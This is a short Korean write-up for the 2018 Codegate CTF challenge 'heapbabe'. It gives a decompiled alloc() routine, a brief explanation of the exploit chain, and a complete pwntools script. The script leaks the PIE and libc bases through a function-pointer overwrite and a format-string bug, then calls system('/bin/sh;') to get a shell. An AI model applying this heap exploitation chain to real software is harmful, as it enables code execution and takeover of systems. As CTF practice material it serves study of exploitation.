2018 Codegate heapbabe
조금 신기하고 재밌게 풀었다.
unsigned __int64 alloc()
{
signed int i; // [rsp+4h] [rbp-102Ch]
struct chunk *ptr; // [rsp+8h] [rbp-1028h]
char *dest; // [rsp+10h] [rbp-1020h]
size_t nbytes; // [rsp+18h] [rbp-1018h]
size_t nbytesa; // [rsp+18h] [rbp-1018h]
char buf; // [rsp+20h] [rbp-1010h]
unsigned __int64 v7; // [rsp+1028h] [rbp-8h]
v7 = __readfsqword(0x28u);
ptr = malloc(0x20uLL);
printf("- size : ");
nbytes = input();
if ( nbytes <= 0x1000 )
{
printf("- contents : ");
if ( read(0, &buf, nbytes) == -1 )
{
puts("** Invalid contents **");
exit(1);
}
nbytesa = strlen(&buf);
if ( nbytesa > 0xF )
{
dest = malloc(nbytesa);
if ( !dest )
{
puts("** Failed to malloc **");
exit(1);
}
strncpy(dest, &buf, nbytesa);
*ptr->data = dest;
ptr->pointer = free_2;
}
else
{
strncpy(ptr->data, &buf, nbytesa);
ptr->pointer = free_1;
}
ptr->size = nbytesa;
for ( i = 0; i <= 7; ++i )
{
if ( !*(¬e + 4 * i) )
{
*(¬e + 4 * i) = 1;
*(¬e + 2 * i + 1) = ptr;
break;
}
}
if ( i == 8 )
{
puts("** No more space to alloc... **");
(ptr->pointer)(ptr, &buf);
}
}
else
{
puts("** Invalid size **");
free(ptr);
}
return __readfsqword(0x28u) ^ v7;
}
pie가 걸려있어서 1byte 덮어서 puts로 pie base leak해주고 pie주소 구했으니까 printf로 overwrite시켜서 인자에 fsb터지게 줘서 스택에 stdout leak해주고 이번엔 system으로 덮고 인자로 /bin/sh; 줬다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./heapbabe')
libc = e.libc
p = process('./heapbabe',aslr=True)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
ru = lambda x : p.recvuntil(x)
rc = lambda x : p.recv(x)
note = 0x00000000002020C0
def alloc(size,content):
sa('>>','A')
sa(':',str(size))
sa(':',content)
def free(idx,data,delete=0):
sa('>>','F')
sa('- id :',str(idx))
if delete == 1:
sa("Type 'DELETE' if you really want to free :","DELETE")
else:
sa("Type 'DELETE' if you really want to free :",data)
alloc(0x60,'A'*0x60)
alloc(0x60,'B'*0x60)
free(0,'', delete=1)
free(1,'', delete=1)
free(0,'', delete=1)
alloc(0xf,'\x00') # 1 data ptr -> 0
alloc(0x20,'C'*0x18+p16(0xaa)) # 1byte -> call <puts@plt>
free(0,'',delete=1)
ru('C'*0x18)
pie_base = u64(p.recv(6).ljust(8,'\x00')) - 0xcaa
log.info('pie_base : {}'.format(hex(pie_base)))
payload = '%12$lx'
payload = payload.ljust(0x18,'A')
payload += p64(pie_base + 0xdf0) # call <printf@plt>
free(1,'',delete=1)
alloc(0xf,'\x00')
alloc(0x20,payload)
free(1,'',delete=1)
ru('7f')
libc_base = int('0x7f'+rc(10),16) - 0x3c56a3
log.info('libc_base : {}'.format(hex(libc_base)))
p.sendline('\x0a')
payload = '/bin/sh;'
payload = payload.ljust(0x18,'A')
payload += p64(libc_base + libc.symbols['system'])
free(0,'',delete=1)
alloc(0xf,'\x00')
alloc(0x20,payload)
free(0,'',delete=1)
p.interactive()